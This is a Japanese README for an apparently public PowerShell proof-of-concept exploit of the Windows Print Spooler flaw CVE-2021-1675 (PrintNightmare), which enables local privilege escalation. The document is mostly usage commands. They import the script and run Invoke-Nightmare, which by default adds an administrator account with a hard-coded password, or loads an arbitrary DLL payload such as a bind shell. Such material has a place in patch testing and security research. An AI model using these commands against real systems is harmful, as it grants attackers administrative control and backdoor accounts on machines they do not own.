
CVE-2021-1675 Print Spooler ローカル権限昇格 (PrintNightmare) の純粋な PowerShell 実装
Caleb Stewart | John Hammond | 2021年7月1日
CVE-2021-1675は、PrintNightmareと呼ばれる深刻なリモートコード実行およびローカル権限昇格の脆弱性です。
リモートコード実行機能に対する概念実証エクスプロイトが公開されています(Python、C++)。また、ローカル権限昇格用のC#版もあります。純粋なPowerShellでのネイティブ実装は見られなかったため、エクスプロイトを洗練・再構築してみることにしました。
このPowerShellスクリプトは、PrintNightmare攻撃手法を用いてローカル権限昇格(LPE)を実行します。

Windows Server 2016およびWindows Server 2019でテスト済みです。
デフォルトでローカル管理者グループに新しいユーザーを追加します:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # デフォルトでユーザー `adm1n`/`P@ssw0rd` をローカル管理者グループに追加
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
カスタムDLLペイロードを指定して、他の任意の操作を行います。
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"